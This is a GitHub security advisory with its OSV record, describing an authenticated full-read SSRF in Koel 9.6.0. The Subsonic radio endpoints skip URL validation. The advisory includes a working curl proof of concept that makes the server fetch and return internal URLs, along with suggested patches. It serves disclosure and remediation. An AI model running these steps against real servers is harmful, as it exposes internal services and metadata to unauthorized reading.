GHSA-6P96-CFG5-4VHP
Vulnerability from github – Published: 2026-07-15 17:13 – Updated: 2026-07-15 17:13Summary
Koel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel's radio streaming feature to make the server fetch that URL and return the upstream response body.
This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.
Details
SafeUrl is applied on the web API, but not on the Subsonic endpoints
Koel's regular radio API protects station URLs with SafeUrl and HasAudioContentType:
app/Http/Requests/API/Radio/RadioStationStoreRequest.phpapp/Http/Requests/API/Radio/RadioStationUpdateRequest.php
new SafeUrl(),
new HasAudioContentType(),
The Subsonic-compatible routes do not reuse those checks:
routes/subsonic.phpcreateInternetRadioStation.viewupdateInternetRadioStation.viewapp/Http/Requests/Subsonic/CreateInternetRadioStationRequest.phpapp/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
return [
'streamUrl' => ['required', 'string'],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];
The result is a validation gap between two routes that create the same type of object.
The unvalidated URL is stored and later fetched server-side
The Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:
app/Http/Controllers/Subsonic/CreateInternetRadioStationController.phpapp/Http/Controllers/Subsonic/UpdateInternetRadioStationController.phpapp/Services/RadioService.php
The SSRF is triggered when the station is played:
app/Http/Controllers/StreamRadioController.phpapp/Services/Radio/RadioStreamService.phpapp/Services/Radio/RadioStreamProxy.php
RadioStreamProxy::openStream() opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:
$stream = fopen($url, 'r', false, $context);
The response body is returned to the attacker
If the upstream response is treated as a normal stream, Koel forwards it back to the client:
while (!feof($stream) && !connection_aborted()) {
echo fread($stream, 8192);
flush();
}
That makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through /radio/stream/{id}.
This behavior also differs from the documented expectation in docs/usage/radio.md, which says Koel checks the URL when adding or editing a radio station.
PoC
The following steps were validated against the official phanan/koel:9.6.0 image.
- Authenticate and obtain an API token:
API_TOKEN=$(
curl -sS -X POST http://127.0.0.1:18081/api/me \
-H 'Content-Type: application/json' \
--data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)
- Obtain the user's Subsonic API key:
SUBSONIC_KEY=$(
curl -sS http://127.0.0.1:18081/api/data \
-H "Authorization: Bearer $API_TOKEN" \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)
- Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:
TARGET_URL="http://172.17.0.1:18090/feed.xml"
- Confirm the regular web API blocks the URL:
curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
-H "Authorization: Bearer $API_TOKEN" \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
--data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"
Expected result:
- HTTP
422 -
Error includes
The url must point to a public URL. -
Create the same station through the Subsonic route:
curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
--data-urlencode "apiKey=$SUBSONIC_KEY" \
--data-urlencode 'f=json' \
--data-urlencode 'name=xmlpeek' \
--data-urlencode "streamUrl=$TARGET_URL"
Expected result:
- HTTP
200 -
JSON includes
"status":"ok" -
Resolve the station ID and stream it:
STATION_ID=$(
curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \
| python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
)
curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"
Expected result:
- HTTP
200 - Response body contains the upstream content from the internal target URL
An authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.
Practical impact includes:
- Reading loopback-only, RFC1918, or Docker-bridge HTTP services
- Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed
- Performing internal HTTP reconnaissance and retrieving content through Koel itself
Since the response body is returned to the attacker, the impact is materially higher than a blind SSRF.
Remediation
The Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.
Suggested patch for app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php:
diff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
@@
namespace App\Http\Requests\Subsonic;
use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
public function rules(): array
{
return [
- 'streamUrl' => ['required', 'string'],
+ 'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];
}
}
Suggested patch for app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php:
diff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
@@
namespace App\Http\Requests\Subsonic;
use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
public function rules(): array
{
return [
'id' => ['required', 'string'],
- 'streamUrl' => ['required', 'string'],
+ 'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];
}
}
Suggested defense-in-depth patch for app/Services/Radio/RadioStreamProxy.php:
diff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php
--- a/app/Services/Radio/RadioStreamProxy.php
+++ b/app/Services/Radio/RadioStreamProxy.php
@@
namespace App\Services\Radio;
+use App\Helpers\Network;
use App\Models\RadioStation;
class RadioStreamProxy
{
+ public function __construct(private readonly Network $network) {}
+
@@
public function openStream(string $url)
{
+ if (!$this->network->isSafeUrl($url)) {
+ return false;
+ }
+
$context = stream_context_create([
'http' => [
'header' => "Icy-MetaData: 1\r\n",
'timeout' => 5,
],
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.6.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phanan/koel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54493"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T17:13:23Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nKoel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel\u0027s radio streaming feature to make the server fetch that URL and return the upstream response body.\n\nThis was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.\n\n### Details\n#### SafeUrl is applied on the web API, but not on the Subsonic endpoints\n\nKoel\u0027s regular radio API protects station URLs with `SafeUrl` and `HasAudioContentType`:\n\n- `app/Http/Requests/API/Radio/RadioStationStoreRequest.php`\n- `app/Http/Requests/API/Radio/RadioStationUpdateRequest.php`\n\n```php\nnew SafeUrl(),\nnew HasAudioContentType(),\n```\n\nThe Subsonic-compatible routes do not reuse those checks:\n\n- `routes/subsonic.php`\n - `createInternetRadioStation.view`\n - `updateInternetRadioStation.view`\n- `app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php`\n- `app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php`\n\n```php\nreturn [\n \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n \u0027name\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n \u0027homepageUrl\u0027 =\u003e [\u0027nullable\u0027, \u0027string\u0027],\n];\n```\n\nThe result is a validation gap between two routes that create the same type of object.\n\n#### The unvalidated URL is stored and later fetched server-side\n\nThe Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:\n\n- `app/Http/Controllers/Subsonic/CreateInternetRadioStationController.php`\n- `app/Http/Controllers/Subsonic/UpdateInternetRadioStationController.php`\n- `app/Services/RadioService.php`\n\nThe SSRF is triggered when the station is played:\n\n- `app/Http/Controllers/StreamRadioController.php`\n- `app/Services/Radio/RadioStreamService.php`\n- `app/Services/Radio/RadioStreamProxy.php`\n\n`RadioStreamProxy::openStream()` opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:\n\n```php\n$stream = fopen($url, \u0027r\u0027, false, $context);\n```\n\n#### The response body is returned to the attacker\n\nIf the upstream response is treated as a normal stream, Koel forwards it back to the client:\n\n```php\nwhile (!feof($stream) \u0026\u0026 !connection_aborted()) {\n echo fread($stream, 8192);\n flush();\n}\n```\n\nThat makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through `/radio/stream/{id}`.\n\nThis behavior also differs from the documented expectation in `docs/usage/radio.md`, which says Koel checks the URL when adding or editing a radio station.\n\n### PoC\nThe following steps were validated against the official `phanan/koel:9.6.0` image.\n\n1. Authenticate and obtain an API token:\n\n```bash\nAPI_TOKEN=$(\n curl -sS -X POST http://127.0.0.1:18081/api/me \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"email\":\"admin@koel.dev\",\"password\":\"KoelIsCool\"}\u0027 \\\n | python3 -c \u0027import json,sys; print(json.load(sys.stdin)[\"token\"])\u0027\n)\n```\n\n2. Obtain the user\u0027s Subsonic API key:\n\n```bash\nSUBSONIC_KEY=$(\n curl -sS http://127.0.0.1:18081/api/data \\\n -H \"Authorization: Bearer $API_TOKEN\" \\\n | python3 -c \u0027import json,sys; print(json.load(sys.stdin)[\"current_user\"][\"subsonic_api_key\"])\u0027\n)\n```\n\n3. Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:\n\n```bash\nTARGET_URL=\"http://172.17.0.1:18090/feed.xml\"\n```\n\n4. Confirm the regular web API blocks the URL:\n\n```bash\ncurl -i -X POST http://127.0.0.1:18081/api/radio/stations \\\n -H \"Authorization: Bearer $API_TOKEN\" \\\n -H \u0027Accept: application/json\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \"{\\\"name\\\":\\\"blocked\\\",\\\"url\\\":\\\"$TARGET_URL\\\"}\"\n```\n\nExpected result:\n\n- HTTP `422`\n- Error includes `The url must point to a public URL.`\n\n5. Create the same station through the Subsonic route:\n\n```bash\ncurl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \\\n --data-urlencode \"apiKey=$SUBSONIC_KEY\" \\\n --data-urlencode \u0027f=json\u0027 \\\n --data-urlencode \u0027name=xmlpeek\u0027 \\\n --data-urlencode \"streamUrl=$TARGET_URL\"\n```\n\nExpected result:\n\n- HTTP `200`\n- JSON includes `\"status\":\"ok\"`\n\n6. Resolve the station ID and stream it:\n\n```bash\nSTATION_ID=$(\n curl -sS \"http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY\u0026f=json\" \\\n | python3 -c \u0027import json,sys; items=json.load(sys.stdin)[\"subsonic-response\"][\"internetRadioStations\"][\"internetRadioStation\"]; print(next(x[\"id\"] for x in items if x[\"name\"]==\"xmlpeek\"))\u0027\n)\n\ncurl -i \"http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN\"\n```\n\nExpected result:\n\n- HTTP `200`\n- Response body contains the upstream content from the internal target URL\n\nAn authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.\n\nPractical impact includes:\n\n- Reading loopback-only, RFC1918, or Docker-bridge HTTP services\n- Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed\n- Performing internal HTTP reconnaissance and retrieving content through Koel itself\n\nSince the response body is returned to the attacker, the impact is materially higher than a blind SSRF.\n\n### Remediation\n\nThe Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.\n\nSuggested patch for `app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php`:\n\n```diff\ndiff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php\n--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php\n+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php\n@@\n namespace App\\Http\\Requests\\Subsonic;\n \n use App\\Http\\Requests\\Request;\n+use App\\Rules\\HasAudioContentType;\n+use App\\Rules\\SafeUrl;\n@@\n public function rules(): array\n {\n return [\n- \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n+ \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027url\u0027, new SafeUrl(), new HasAudioContentType()],\n \u0027name\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n \u0027homepageUrl\u0027 =\u003e [\u0027nullable\u0027, \u0027string\u0027],\n ];\n }\n }\n```\n\nSuggested patch for `app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php`:\n\n```diff\ndiff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php\n--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php\n+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php\n@@\n namespace App\\Http\\Requests\\Subsonic;\n \n use App\\Http\\Requests\\Request;\n+use App\\Rules\\HasAudioContentType;\n+use App\\Rules\\SafeUrl;\n@@\n public function rules(): array\n {\n return [\n \u0027id\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n- \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n+ \u0027streamUrl\u0027 =\u003e [\u0027required\u0027, \u0027url\u0027, new SafeUrl(), new HasAudioContentType()],\n \u0027name\u0027 =\u003e [\u0027required\u0027, \u0027string\u0027],\n \u0027homepageUrl\u0027 =\u003e [\u0027nullable\u0027, \u0027string\u0027],\n ];\n }\n }\n```\n\nSuggested defense-in-depth patch for `app/Services/Radio/RadioStreamProxy.php`:\n\n```diff\ndiff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php\n--- a/app/Services/Radio/RadioStreamProxy.php\n+++ b/app/Services/Radio/RadioStreamProxy.php\n@@\n namespace App\\Services\\Radio;\n \n+use App\\Helpers\\Network;\n use App\\Models\\RadioStation;\n \n class RadioStreamProxy\n {\n+ public function __construct(private readonly Network $network) {}\n+\n@@\n public function openStream(string $url)\n {\n+ if (!$this-\u003enetwork-\u003eisSafeUrl($url)) {\n+ return false;\n+ }\n+\n $context = stream_context_create([\n \u0027http\u0027 =\u003e [\n \u0027header\u0027 =\u003e \"Icy-MetaData: 1\\r\\n\",\n \u0027timeout\u0027 =\u003e 5,\n ],\n```",
"id": "GHSA-6p96-cfg5-4vhp",
"modified": "2026-07-15T17:13:23Z",
"published": "2026-07-15T17:13:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/koel/koel/security/advisories/GHSA-6p96-cfg5-4vhp"
},
{
"type": "WEB",
"url": "https://github.com/koel/koel/pull/2545"
},
{
"type": "WEB",
"url": "https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f"
},
{
"type": "PACKAGE",
"url": "https://github.com/koel/koel"
},
{
"type": "WEB",
"url": "https://github.com/koel/koel/releases/tag/v9.7.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Koel: Authenticated Full-Read SSRF via Subsonic Internet Radio Stations"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.